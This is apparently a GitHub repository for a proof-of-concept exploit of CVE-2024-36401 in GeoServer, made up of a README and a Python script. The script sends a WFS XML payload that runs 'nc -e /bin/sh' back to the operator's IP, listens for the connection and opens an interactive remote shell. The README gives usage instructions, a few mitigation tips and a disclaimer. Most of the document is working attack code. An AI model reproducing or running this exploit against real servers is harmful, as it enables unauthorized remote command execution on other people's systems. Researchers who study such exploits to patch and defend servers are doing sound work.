├── README.md ├── cve-2024-36401.py └── screens └── screen.jpg /README.md: -------------------------------------------------------------------------------- 1 | # RCE for CVE-2024-36401 2 | POC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets. 3 | 4 | 5 | ![Banner](screens/screen.jpg) 6 | 7 | 8 | ## Overview 9 | 10 | POC for CVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer. This POC is based on the security advisory by [phith0n](https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401). 11 | 12 | 13 | ## How it Works 14 | 15 | 1. Sets up a listener on your machine for incoming reverse shell from the target. 16 | 2. This POC will send a post request with the payloads. 17 | 3. Attempts to establish a shell on the target server. 18 | 4. This technique assumes nc is installed on the target. 19 | 20 | ## How to Use 21 | 22 | This POC will attempt to establish a reverse shell from the vlun targets. This is aimed to work against vlun Linux targets. You will have to have a machine with published and accessiable IP in order to run this poc. 23 | 24 | 25 | ### Minimum Requirements 26 | 27 | - Python 3.6 or higher 28 | - `requests` library 29 | 30 | To use this POC against a single target: 31 | ```sh 32 | python CVE-2024-36401.py -u HTTP://TARGET:9090 -ip YOUR-IP -port LOCAL-PORT-NUMBER -type GeoServer-Object-Type 33 | ``` 34 | 35 | Help: 36 | ```sh 37 | python3 CVE-2024-36401.py -h 38 | 39 | options: 40 | -h, --help show this help message and exit 41 | -u U Target, example https://target:8080 42 | -ip IP Your IP, example 192.168.1.1 43 | -port PORT Port, example 1337 44 | -type TYPE Type, example sf:archsites 45 | ``` 46 | 47 | ## How to Protect Your GeoServer Appliance 48 | 49 | 1- Disable WFS requests. 50 | 51 | 2- Secure your linux by configuring iptables to disable reverse connections, set default policies to drop all traffic, allow established and related connections, and permit only essential outbound traffic like DNS, HTTP, and HTTPS 52 | 53 | 3- Or upgrade to the latest version of GeoServer. 54 | 55 | 56 | ## Contact 57 | 58 | For any suggestions or thoughts, please get in touch with [me](https://x.com/MohamedNab1l). 59 | 60 | 61 | ## Disclaimer 62 | 63 | I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test. 64 | 65 | -------------------------------------------------------------------------------- /cve-2024-36401.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Author: x.com/MohamedNab1l 5 | GitHub: https://github.com/bigb0x/CVE-2024-36401 6 | 7 | About: 8 | POC for CVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer. This POC is based on the security advisory by phith0n: https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401 9 | 10 | Note: 11 | This POC will attempt to establish a reverse shell from the vlun targets. This is aimed to work against Linux targets. You will have to have a machine with published and accessiable IP in order to run this poc. This technique assumes that nc is available at the remote target. 12 | 13 | Usage: 14 | python CVE-2024-36401.py -u HTTP://TARGET:9090 -ip YOUR-IP -port LOCAL-PORT-NUMBER -type GeoServer-Object-Type 15 | 16 | Please feel free to contact me if you have any comments or sugesstions 17 | 18 | Version: 1.0.3 19 | 20 | Refrences 21 | https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401 22 | 23 | Disclaimer: 24 | I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test. 25 | 26 | """ 27 | import requests 28 | import argparse 29 | import re 30 | import os 31 | import threading 32 | import time 33 | import socket 34 | from urllib.parse import urlparse 35 | import select 36 | 37 | from urllib3.exceptions import InsecureRequestWarning 38 | 39 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 40 | 41 | 42 | # ANSI color codes 43 | light_gray_color = '\033[37;1m' 44 | dimmed_gray_color = '\033[90m' 45 | honey_yellow_color = '\033[38;5;214m' 46 | dim_yellow_color = "\033[33;1m" 47 | cyan_color = '\033[96m' 48 | green_color = '\033[92m' 49 | red_color = '\033[31m' 50 | reset_color = '\033[0m' 51 | 52 | LOG_DIR = "logs" 53 | 54 | # THE_VERSION ="1.0.3" 55 | 56 | def banner(): 57 | print(f'''{honey_yellow_color} 58 | ┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓┏┓┏┓┓ 59 | ┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┣┓┃┃┃┫┃ 60 | ┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗┛┗┛┗╋┗┛┻ 61 | 62 | -> {light_gray_color}POC for CVE-2024-36401. Will try to obtain a shell on linux targets.{reset_color} 63 | {honey_yellow_color}-> {light_gray_color}By: x.com/mohamednab1l 64 | {honey_yellow_color}-> {honey_yellow_color}Use this wisely.{reset_color} 65 | ''') 66 | 67 | def print_message(level, message): 68 | current_time = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime()) 69 | if level == 'info': 70 | print(f"{current_time} {green_color}[INFO]{reset_color} {message}") 71 | elif level == 'warning': 72 | print(f"{current_time} {honey_yellow_color}[VLUN] {message} {reset_color}") 73 | elif level == 'error': 74 | print(f"{current_time} {red_color}[ERROR]{message}{reset_color} ") 75 | 76 | 77 | def create_log_dir(): 78 | if not os.path.exists(LOG_DIR): 79 | os.makedirs(LOG_DIR) 80 | print_message('info', f"Log directory created: {LOG_DIR}") 81 | 82 | def clean_host(url): 83 | parsed_url = urlparse(url) 84 | host = parsed_url.netloc or parsed_url.path 85 | host = re.sub(r'^www\.', '', host) 86 | host = re.sub(r'/$', '', host) 87 | return host 88 | 89 | 90 | def send_poc_request(url, host, ip, port, type): 91 | full_url = f"{url}/geoserver/wfs" 92 | headers = { 93 | "Host": host, 94 | "Accept-Encoding": "gzip, deflate, br", 95 | "Accept": "*/*", 96 | "Accept-Language": "en-US;q=0.9,en;q=0.8", 97 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36", 98 | "Connection": "close", 99 | "Cache-Control": "max-age=0", 100 | "Content-Type": "application/xml", 101 | } 102 | custom_payload = f""" 103 | 107 | 108 | exec(java.lang.Runtime.getRuntime(),'nc -e /bin/sh {ip} {port}') 109 | 110 | """ 111 | 112 | try: 113 | response = requests.post(full_url, headers=headers, data=custom_payload, timeout=30, verify=False) 114 | print_message('info', f"Response status code: {dim_yellow_color}{response.status_code}{reset_color}") 115 | if response.status_code in [401, 404, 403]: 116 | print_message('info', "Target is not vulnerable.") 117 | exit() 118 | else: 119 | print_message('info', "Request sent. Checking for incoming connections.") 120 | except requests.exceptions.RequestException as e: 121 | print_message('error', f"An error occurred: {e}") 122 | print_message('error', "Failed to send request!") 123 | 124 | def receive_output(client_socket, timeout=5): 125 | total_data = [] 126 | client_socket.setblocking(0) 127 | start_time = time.time() 128 | while True: 129 | if total_data and time.time() - start_time > timeout: 130 | break 131 | elif time.time() - start_time > timeout * 2: 132 | break 133 | try: 134 | data = client_socket.recv(8192) 135 | if data: 136 | total_data.append(data.decode('utf-8', errors='ignore')) 137 | start_time = time.time() 138 | else: 139 | time.sleep(0.1) 140 | except socket.error: 141 | pass 142 | return ''.join(total_data).strip() 143 | 144 | def interactive_shell(client_socket): 145 | print_message('warning', "Nice!, we got a remote shell! :)") 146 | 147 | client_socket.send(b"id\n") 148 | time.sleep(1) 149 | output = receive_output(client_socket) 150 | if output: 151 | print_message('warning', "Checking the output of 'id' command:") 152 | print(f"{output}") 153 | else: 154 | print("No output received from 'id' command.") 155 | 156 | print_message('warning', "Shell established!.") 157 | print_message('warning', "Type commands and press enter to send, or type 'exit' to end the session.") 158 | 159 | while True: 160 | try: 161 | command = input(f"{honey_yellow_color}shell> {reset_color}") 162 | if command.lower() == 'exit': 163 | break 164 | 165 | client_socket.send(command.encode() + b'\n') 166 | time.sleep(1) 167 | 168 | output = receive_output(client_socket) 169 | if output: 170 | print(output) 171 | else: 172 | print_message('warning', "No output received.") 173 | 174 | except Exception as e: 175 | print_message('error', f"Error in shell: {e}") 176 | break 177 | 178 | client_socket.close() 179 | print_message('info', "Shell connection closed.") 180 | exit() 181 | 182 | def listen(ip, port, stop_event): 183 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 184 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 185 | s.bind((ip, port)) 186 | s.settimeout(1) 187 | s.listen(1) 188 | print_message('info', f"Listening on {ip}:{port}...") 189 | 190 | try: 191 | while not stop_event.is_set(): 192 | try: 193 | client, (client_ip, client_port) = s.accept() 194 | print_message('info', f"Received connection from: {client_ip}:{client_port}") 195 | print_message('warning', "POC was successful!") 196 | 197 | interactive_shell(client) 198 | except socket.timeout: 199 | continue 200 | except Exception as e: 201 | print_message('error', f"An error occurred: {e}") 202 | finally: 203 | s.close() 204 | 205 | def main(): 206 | banner() 207 | parser = argparse.ArgumentParser(description='POC for CVE-2024-36401') 208 | parser.add_argument('-u', required=True, help='Target, example https://target:8080') 209 | parser.add_argument('-ip', required=True, help='Your IP, example 192.168.1.1') 210 | parser.add_argument('-port', required=True, help='Port, example 1337') 211 | parser.add_argument('-type', required=True, help='Type, example sf:archsites') 212 | 213 | args = parser.parse_args() 214 | 215 | url = args.u 216 | ip = args.ip 217 | port = int(args.port) 218 | type = args.type 219 | host = clean_host(url) 220 | 221 | stop_event = threading.Event() 222 | 223 | def listen_wrapper(): 224 | listen(ip, port, stop_event) 225 | 226 | listen_thread = threading.Thread(target=listen_wrapper) 227 | listen_thread.daemon = True 228 | listen_thread.start() 229 | 230 | time.sleep(1) 231 | 232 | try: 233 | # Send the POST request 234 | send_poc_request(url, host, ip, port, type) 235 | 236 | while listen_thread.is_alive(): 237 | listen_thread.join(1) 238 | except KeyboardInterrupt: 239 | print_message('info', "Keyboard interrupt received. Cleaning up...") 240 | finally: 241 | stop_event.set() 242 | 243 | # (should be quick now) 244 | listen_thread.join(timeout=5) 245 | 246 | if listen_thread.is_alive(): 247 | print_message('warning', "Listen thread did not stop in time. It will be terminated.") 248 | 249 | print_message('info', "Script execution completed. Exiting...") 250 | 251 | if __name__ == "__main__": 252 | create_log_dir() 253 | main() 254 | -------------------------------------------------------------------------------- /screens/screen.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bigb0x/CVE-2024-36401/36a7087e28baa9011861bb5c33c6451acf4ac186/screens/screen.jpg --------------------------------------------------------------------------------